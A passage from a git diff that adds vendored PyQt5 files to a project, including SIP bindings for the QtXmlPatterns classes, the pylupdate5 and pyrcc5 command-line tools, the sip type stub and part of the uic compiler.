bindVariable(const QString &localName, QIODevice *); + void bindVariable(const QString &localName, const QXmlQuery &query); + bool isValid() const; + void evaluateTo(QXmlResultItems *result) const; + bool evaluateTo(QAbstractXmlReceiver *callback) const; + SIP_PYOBJECT evaluateToStringList() const /TypeHint="QStringList"/; +%MethodCode + static const sipTypeDef *sipType_QStringList = 0; + + if (!sipType_QStringList) + sipType_QStringList = sipFindType("QStringList"); + + bool ok; + QStringList *result = new QStringList; + + Py_BEGIN_ALLOW_THREADS + ok = sipCpp->evaluateTo(result); + Py_END_ALLOW_THREADS + + if (ok) + { + sipRes = sipConvertFromNewType(result, sipType_QStringList, NULL); + } + else + { + delete result; + sipRes = Py_None; + Py_INCREF(Py_None); + } +%End + + bool evaluateTo(QIODevice *target) const; + SIP_PYOBJECT evaluateToString() const /TypeHint="QString"/; +%MethodCode + static const sipTypeDef *sipType_QStringList = 0; + + if (!sipType_QStringList) + sipType_QStringList = sipFindType("QStringList"); + + bool ok; + QString *result = new QString; + + Py_BEGIN_ALLOW_THREADS + ok = sipCpp->evaluateTo(result); + Py_END_ALLOW_THREADS + + if (ok) + { + sipRes = sipConvertFromNewType(result, sipType_QString, NULL); + } + else + { + delete result; + sipRes = Py_None; + Py_INCREF(Py_None); + } +%End + + void setUriResolver(const QAbstractUriResolver *resolver /KeepReference/); + const QAbstractUriResolver *uriResolver() const; + void setFocus(const QXmlItem &item); + bool setFocus(const QUrl &documentURI); + bool setFocus(QIODevice *document); + bool setFocus(const QString &focus); + void setInitialTemplateName(const QXmlName &name); + void setInitialTemplateName(const QString &name); + QXmlName initialTemplateName() const; + void setNetworkAccessManager(QNetworkAccessManager *newManager /KeepReference/); + QNetworkAccessManager *networkAccessManager() const; + QXmlQuery::QueryLanguage queryLanguage() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlresultitems.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlresultitems.sip new file mode 100644 index 00000000..64902c0f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlresultitems.sip @@ -0,0 +1,38 @@ +// qxmlresultitems.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QXmlResultItems +{ +%TypeHeaderCode +#include +%End + +public: + QXmlResultItems(); + virtual ~QXmlResultItems(); + bool hasError() const; + QXmlItem next(); + QXmlItem current() const; + +private: + QXmlResultItems(const QXmlResultItems &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlschema.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlschema.sip new file mode 100644 index 00000000..95dd84fe --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlschema.sip @@ -0,0 +1,50 @@ +// qxmlschema.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QXmlSchema +{ +%TypeHeaderCode +#include +%End + +public: + QXmlSchema(); + QXmlSchema(const QXmlSchema &other); + +private: + QXmlSchema &operator=(const QXmlSchema &); + +public: + ~QXmlSchema(); + bool load(const QUrl &source) /ReleaseGIL/; + bool load(QIODevice *source, const QUrl &documentUri = QUrl()) /ReleaseGIL/; + bool load(const QByteArray &data, const QUrl &documentUri = QUrl()); + bool isValid() const; + QXmlNamePool namePool() const; + QUrl documentUri() const; + void setMessageHandler(QAbstractMessageHandler *handler /KeepReference/); + QAbstractMessageHandler *messageHandler() const; + void setUriResolver(const QAbstractUriResolver *resolver /KeepReference/); + const QAbstractUriResolver *uriResolver() const; + void setNetworkAccessManager(QNetworkAccessManager *networkmanager /KeepReference/); + QNetworkAccessManager *networkAccessManager() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlschemavalidator.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlschemavalidator.sip new file mode 100644 index 00000000..65ef505b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlschemavalidator.sip @@ -0,0 +1,59 @@ +// qxmlschemavalidator.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QXmlSchemaValidator +{ +%TypeHeaderCode +#include +%End + +public: + QXmlSchemaValidator(); + QXmlSchemaValidator(const QXmlSchema &schema); + ~QXmlSchemaValidator(); + void setSchema(const QXmlSchema &schema); + bool validate(const QUrl &source) const /ReleaseGIL/; + bool validate(QIODevice *source, const QUrl &documentUri = QUrl()) const /ReleaseGIL/; + bool validate(const QByteArray &data, const QUrl &documentUri = QUrl()) const; + QXmlNamePool namePool() const; + QXmlSchema schema() const; +%MethodCode + // For reasons we don't quite understand QXmlSchema's copy ctor has to be + // private as far as sip is concerned - otherwise we get compiler errors. + // However that means that sip generates the wrong code here, because it + // doesn't realise it can take a copy of the result. + + Py_BEGIN_ALLOW_THREADS + sipRes = new QXmlSchema(sipCpp->schema()); + Py_END_ALLOW_THREADS +%End + + void setMessageHandler(QAbstractMessageHandler *handler /KeepReference/); + QAbstractMessageHandler *messageHandler() const; + void setUriResolver(const QAbstractUriResolver *resolver /KeepReference/); + const QAbstractUriResolver *uriResolver() const; + void setNetworkAccessManager(QNetworkAccessManager *networkmanager /KeepReference/); + QNetworkAccessManager *networkAccessManager() const; + +private: + QXmlSchemaValidator(const QXmlSchemaValidator &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlserializer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlserializer.sip new file mode 100644 index 00000000..5f21406a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlserializer.sip @@ -0,0 +1,46 @@ +// qxmlserializer.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QXmlSerializer : QAbstractXmlReceiver +{ +%TypeHeaderCode +#include +%End + +public: + QXmlSerializer(const QXmlQuery &query, QIODevice *outputDevice); + virtual void namespaceBinding(const QXmlName &nb); + virtual void characters(const QStringRef &value); + virtual void comment(const QString &value); + virtual void startElement(const QXmlName &name); + virtual void endElement(); + virtual void attribute(const QXmlName &name, const QStringRef &value); + virtual void processingInstruction(const QXmlName &name, const QString &value); + virtual void atomicValue(const QVariant &value); + virtual void startDocument(); + virtual void endDocument(); + virtual void startOfSequence(); + virtual void endOfSequence(); + QIODevice *outputDevice() const; + void setCodec(const QTextCodec *codec /KeepReference/); + const QTextCodec *codec() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/py.typed b/OTHERS/Jarvis/ools/PyQt5/py.typed new file mode 100644 index 00000000..e69de29b diff --git a/OTHERS/Jarvis/ools/PyQt5/pylupdate_main.py b/OTHERS/Jarvis/ools/PyQt5/pylupdate_main.py new file mode 100644 index 00000000..f1888b9d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/pylupdate_main.py @@ -0,0 +1,247 @@ +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import locale +import sys + +from PyQt5.QtCore import (PYQT_VERSION_STR, QDir, QFile, QFileInfo, QIODevice, + QTextStream) + +from .pylupdate import * + + +def printUsage(): + sys.stderr.write( +"Usage:\n" +" pylupdate5 [options] project-file\n" +" pylupdate5 [options] source-files -ts ts-files\n" +"\n" +"Options:\n" +" -help Display this information and exit\n" +" -version\n" +" Display the version of pylupdate5 and exit\n" +" -verbose\n" +" Explain what is being done\n" +" -noobsolete\n" +" Drop all obsolete strings\n" +" -tr-function name\n" +" name() may be used instead of tr()\n" +" -translate-function name\n" +" name() may be used instead of translate()\n"); + + +def updateTsFiles(fetchedTor, tsFileNames, codecForTr, noObsolete, verbose): + dir = QDir() + + for t in tsFileNames: + fn = dir.relativeFilePath(t) + tor = MetaTranslator() + out = MetaTranslator() + + tor.load(t) + + if codecForTr: + tor.setCodec(codecForTr) + + merge(tor, fetchedTor, out, noObsolete, verbose, fn) + + if noObsolete: + out.stripObsoleteMessages() + + out.stripEmptyContexts() + + if not out.save(t): + sys.stderr.write("pylupdate5 error: Cannot save '%s'\n" % fn) + + +def _encoded_path(path): + return path.encode(locale.getdefaultlocale()[1]) + + +def main(): + # Initialise. + + defaultContext = "@default" + fetchedTor = MetaTranslator() + codecForTr = '' + codecForSource = '' + tsFileNames = [] + uiFileNames = [] + + verbose = False + noObsolete = False + metSomething = False + numFiles = 0 + standardSyntax = True + metTsFlag = False + tr_func = None + translate_func = None + + # Parse the command line. + + for arg in sys.argv[1:]: + if arg == "-ts": + standardSyntax = False + + argc = len(sys.argv) + i = 1 + + while i < argc: + arg = sys.argv[i] + i += 1 + + if arg == "-help": + printUsage() + sys.exit(0) + + if arg == "-version": + sys.stderr.write("pylupdate5 v%s\n" % PYQT_VERSION_STR) + sys.exit(0) + + if arg == "-noobsolete": + noObsolete = True + continue + + if arg == "-verbose": + verbose = True + continue + + if arg == "-ts": + metTsFlag = True + continue + + if arg == "-tr-function": + if i >= argc: + sys.stderr.write( + "pylupdate5 error: missing -tr-function name\n") + sys.exit(2) + + tr_func = sys.argv[i] + i += 1 + continue + + if arg == "-translate-function": + if i >= argc: + sys.stderr.write( + "pylupdate5 error: missing -translate-function name\n") + sys.exit(2) + + translate_func = sys.argv[i] + i += 1 + continue + + numFiles += 1 + + fullText = "" + + if not metTsFlag: + f = QFile(arg) + + if not f.open(QIODevice.ReadOnly): + sys.stderr.write( + "pylupdate5 error: Cannot open file '%s'\n" % arg) + sys.exit(1) + + t = QTextStream(f) + fullText = t.readAll() + f.close() + + if standardSyntax: + oldDir = QDir.currentPath() + QDir.setCurrent(QFileInfo(arg).path()) + + fetchedTor = MetaTranslator() + codecForTr = '' + codecForSource = '' + tsFileNames = [] + uiFileNames = [] + + for key, value in proFileTagMap(fullText).items(): + for t in value.split(' '): + if key == "SOURCES": + fetchtr_py( + _encoded_path( + QDir.current().absoluteFilePath(t)), + fetchedTor, defaultContext, True, + codecForSource, tr_func, translate_func) + metSomething = True + + elif key == "TRANSLATIONS": + tsFileNames.append(QDir.current().absoluteFilePath(t)) + metSomething = True + + elif key in ("CODEC", "DEFAULTCODEC", "CODECFORTR"): + codecForTr = t + fetchedTor.setCodec(codecForTr) + + elif key == "CODECFORSRC": + codecForSource = t + + elif key == "FORMS": + fetchtr_ui( + _encoded_path( + QDir.current().absoluteFilePath(t)), + fetchedTor, defaultContext, True) + + updateTsFiles(fetchedTor, tsFileNames, codecForTr, noObsolete, + verbose) + + if not metSomething: + sys.stderr.write( + "pylupdate5 warning: File '%s' does not look like a " + "project file\n" % arg) + elif len(tsFileNames) == 0: + sys.stderr.write( + "pylupdate5 warning: Met no 'TRANSLATIONS' entry in " + "project file '%s'\n" % arg) + + QDir.setCurrent(oldDir) + else: + if metTsFlag: + if arg.lower().endswith(".ts"): + fi = QFileInfo(arg) + + if not fi.exists() or fi.isWritable(): + tsFileNames.append(arg) + else: + sys.stderr.write( + "pylupdate5 warning: For some reason, I " + "cannot save '%s'\n" % arg) + else: + sys.stderr.write( + "pylupdate5 error: File '%s' lacks .ts extension\n" % arg) + else: + fi = QFileInfo(arg) + path = _encoded_path(fi.absoluteFilePath()) + + if fi.suffix() in ("py", "pyw"): + fetchtr_py(path, fetchedTor, defaultContext, True, + codecForSource, tr_func, translate_func) + else: + fetchtr_ui(path, fetchedTor, defaultContext, True) + + if not standardSyntax: + updateTsFiles(fetchedTor, tsFileNames, codecForTr, noObsolete, verbose) + + if numFiles == 0: + printUsage() + sys.exit(1) + + +if __name__ == '__main__': + main() diff --git a/OTHERS/Jarvis/ools/PyQt5/pyrcc_main.py b/OTHERS/Jarvis/ools/PyQt5/pyrcc_main.py new file mode 100644 index 00000000..fd157905 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/pyrcc_main.py @@ -0,0 +1,190 @@ +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import sys + +from PyQt5.QtCore import PYQT_VERSION_STR, QDir, QFile + +from .pyrcc import * + + +# Initialise the globals. +verbose = False +compressLevel = CONSTANT_COMPRESSLEVEL_DEFAULT +compressThreshold = CONSTANT_COMPRESSTHRESHOLD_DEFAULT +resourceRoot = '' + + +def processResourceFile(filenamesIn, filenameOut, listFiles): + if verbose: + sys.stderr.write("PyQt5 resource compiler\n") + + # Setup. + library = RCCResourceLibrary() + library.setInputFiles(filenamesIn) + library.setVerbose(verbose) + library.setCompressLevel(compressLevel) + library.setCompressThreshold(compressThreshold) + library.setResourceRoot(resourceRoot) + + if not library.readFiles(): + return False + + if filenameOut == '-': + filenameOut = '' + + if listFiles: + # Open the output file or use stdout if not specified. + if filenameOut: + try: + out_fd = open(filenameOut, 'w') + except Exception: + sys.stderr.write( + "Unable to open %s for writing\n" % filenameOut) + return False + else: + out_fd = sys.stdout + + for df in library.dataFiles(): + out_fd.write("%s\n" % QDir.cleanPath(df)) + + if out_fd is not sys.stdout: + out_fd.close() + + return True + + return library.output(filenameOut) + + +def showHelp(error): + sys.stderr.write("PyQt5 resource compiler\n") + + if error: + sys.stderr.write("pyrcc5: %s\n" % error) + + sys.stderr.write( +"Usage: pyrcc5 [options] \n" +"\n" +"Options:\n" +" -o file Write output to file rather than stdout\n" +" -threshold level Threshold to consider compressing files\n" +" -compress level Compress input files by level\n" +" -root path Prefix resource access path with root path\n" +" -no-compress Disable all compression\n" +" -version Display version\n" +" -help Display this information\n") + + +def main(): + # Parse the command line. Note that this mimics the original C++ (warts + # and all) in order to preserve backwards compatibility. + global verbose + global compressLevel + global compressThreshold + global resourceRoot + + outFilename = '' + helpRequested = False + listFiles = False + files = [] + + errorMsg = None + argc = len(sys.argv) + i = 1 + + while i < argc: + arg = sys.argv[i] + i += 1 + + if arg[0] == '-': + opt = arg[1:] + + if opt == "o": + if i >= argc: + errorMsg = "Missing output name" + break + + outFilename = sys.argv[i] + i += 1 + + elif opt == "root": + if i >= argc: + errorMsg = "Missing root path" + break + + resourceRoot = QDir.cleanPath(sys.argv[i]) + i += 1 + + if resourceRoot == '' or resourceRoot[0] != '/': + errorMsg = "Root must start with a /" + break + + elif opt == "compress": + if i >= argc: + errorMsg = "Missing compression level" + break + + compressLevel = int(sys.argv[i]) + i += 1 + + elif opt == "threshold": + if i >= argc: + errorMsg = "Missing compression threshold" + break + + compressThreshold = int(sys.argv[i]) + i += 1 + + elif opt == "verbose": + verbose = True + + elif opt == "list": + listFiles = True + + elif opt == "version": + sys.stderr.write("pyrcc5 v%s\n" % PYQT_VERSION_STR) + sys.exit(1) + + elif opt == "help" or opt == "h": + helpRequested = True + + elif opt == "no-compress": + compressLevel = -2 + + else: + errorMsg = "Unknown option: '%s'" % arg + break + else: + if not QFile.exists(arg): + sys.stderr.write( + "%s: File does not exist '%s'\n" % (sys.argv[0], arg)) + sys.exit(1) + + files.append(arg) + + # Handle any errors or a request for help. + if len(files) == 0 or errorMsg is not None or helpRequested: + showHelp(errorMsg) + sys.exit(1) + + if not processResourceFile(files, outFilename, listFiles): + sys.exit(1) + + +if __name__ == '__main__': + main() diff --git a/OTHERS/Jarvis/ools/PyQt5/sip.pyi b/OTHERS/Jarvis/ools/PyQt5/sip.pyi new file mode 100644 index 00000000..545a8905 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/sip.pyi @@ -0,0 +1,110 @@ +# Copyright (c) 2021, Riverbank Computing Limited +# All rights reserved. +# +# This copy of SIP is licensed for use under the terms of the SIP License +# Agreement. See the file LICENSE for more details. +# +# This copy of SIP may also used under the terms of the GNU General Public +# License v2 or v3 as published by the Free Software Foundation which can be +# found in the files LICENSE-GPL2 and LICENSE-GPL3 included in this package. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +# POSSIBILITY OF SUCH DAMAGE. + + +from typing import Generic, overload, TypeVar, Union + + +# Constants. +SIP_VERSION = ... # type: int +SIP_VERSION_STR = ... # type: str + + +# The bases for SIP generated types. +class wrappertype: ... +class simplewrapper: ... +class wrapper(simplewrapper): ... + + +# The array type. +T = TypeVar('T') + +class array(Generic[T]): + + @overload + def __getitem__(self, i: int) -> T: ... + + @overload + def __getitem__(self, s: slice) -> array[T]: ... + + def __len__(self) -> int: ... + + +# The voidptr type. +class voidptr: + + def __init__(addr: Union[int, Buffer], size: int = -1, writeable: bool = True) -> None: ... + + def __int__(self) -> int: ... + + @overload + def __getitem__(self, i: int) -> bytes: ... + + @overload + def __getitem__(self, s: slice) -> voidptr: ... + + def __hex__(self) -> str: ... + + def __len__(self) -> int: ... + + def __setitem__(self, i: Union[int, slice], v: Buffer) -> None: ... + + def asarray(self, size: int = -1) -> array: ... + + # Python doesn't expose the capsule type. + #def ascapsule(self) -> capsule: ... + + def asstring(self, size: int = -1) -> bytes: ... + + def getsize(self) -> int: ... + + def getwriteable(self) -> bool: ... + + def setsize(self, size: int) -> None: ... + + def setwriteable(self, bool) -> None: ... + + +# PEP 484 has no explicit support for the buffer protocol so we just name types +# we know that implement it. +Buffer = Union[bytes, bytearray, memoryview, array, voidptr] + + +# Remaining functions. +def assign(obj: simplewrapper, other: simplewrapper) -> None: ... +def cast(obj: simplewrapper, type: wrappertype) -> simplewrapper: ... +def delete(obj: simplewrapper) -> None: ... +def dump(obj: simplewrapper) -> None: ... +def enableautoconversion(type: wrappertype, enable: bool) -> bool: ... +def enableoverflowchecking(enable: bool) -> bool: ... +def getapi(name: str) -> int: ... +def isdeleted(obj: simplewrapper) -> bool: ... +def ispycreated(obj: simplewrapper) -> bool: ... +def ispyowned(obj: simplewrapper) -> bool: ... +def setapi(name: str, version: int) -> None: ... +def setdeleted(obj: simplewrapper) -> None: ... +def setdestroyonexit(destroy: bool) -> None: ... +def settracemask(mask: int) -> None: ... +def transferback(obj: wrapper) -> None: ... +def transferto(obj: wrapper, owner: wrapper) -> None: ... +def unwrapinstance(obj: simplewrapper) -> None: ... +def wrapinstance(addr: int, type: wrappertype) -> simplewrapper: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/__init__.py b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/__init__.py new file mode 100644 index 00000000..d4719470 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/__init__.py @@ -0,0 +1,20 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/compiler.py b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/compiler.py new file mode 100644 index 00000000..86e4672d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/compiler.py @@ -0,0 +1,123 @@ +############################################################################# +## +## Copyright (C) 2019 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################# + + +import sys + +from ..properties import Properties +from ..uiparser import UIParser +from . import qtproxies +from .indenter import createCodeIndenter, getIndenter, write_code +from .qobjectcreator import CompilerCreatorPolicy + + +class UICompiler(UIParser): + def __init__(self): + UIParser.__init__(self, qtproxies.QtCore, qtproxies.QtGui, + qtproxies.QtWidgets, CompilerCreatorPolicy()) + + def reset(self): + qtproxies.i18n_strings = [] + UIParser.reset(self) + + def setContext(self, context): + qtproxies.i18n_context = context + + def createToplevelWidget(self, classname, widgetname): + indenter = getIndenter() + indenter.level = 0 + + indenter.write("from PyQt5 import QtCore, QtGui, QtWidgets") + indenter.write("") + + indenter.write("") + indenter.write("class Ui_%s(object):" % self.uiname) + indenter.indent() + indenter.write("def setupUi(self, %s):" % widgetname) + indenter.indent() + w = self.factory.createQObject(classname, widgetname, (), + is_attribute = False, + no_instantiation = True) + w.baseclass = classname + w.uiclass = "Ui_%s" % self.uiname + return w + + def setDelayedProps(self): + write_code("") + write_code("self.retranslateUi(%s)" % self.toplevelWidget) + UIParser.setDelayedProps(self) + + def finalize(self): + indenter = getIndenter() + indenter.level = 1 + indenter.write("") + indenter.write("def retranslateUi(self, %s):" % self.toplevelWidget) + + indenter.indent() + + if qtproxies.i18n_strings: + indenter.write("_translate = QtCore.QCoreApplication.translate") + for s in qtproxies.i18n_strings: + indenter.write(s) + else: + indenter.write("pass") + + indenter.dedent() + indenter.dedent() + + # Keep a reference to the resource modules to import because the parser + # will reset() before returning. + self._resources = self.resources + self._resources.sort() + + def compileUi(self, input_stream, output_stream, from_imports, resource_suffix, import_from): + createCodeIndenter(output_stream) + w = self.parse(input_stream, resource_suffix) + + self.factory._cpolicy._writeOutImports() + + for res in self._resources: + if from_imports: + write_code("from %s import %s" % (import_from, res)) + else: + write_code("import %s" % res) + + return {"widgetname": str(w), + "uiclass" : w.uiclass, + "baseclass" : w.baseclass} diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/indenter.py b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/indenter.py new file mode 100644 index 00000000..9c92ad5e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/indenter.py @@ -0,0 +1,77 @@ +############################################################################# +## +## Copyright (C) 2014 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################# + + +indentwidth = 4 + +_indenter = None + +class _IndentedCodeWriter(object): + def __init__(self, output): + self.level = 0 + self.output = output + + def indent(self): + self.level += 1 + + def dedent(self): + self.level 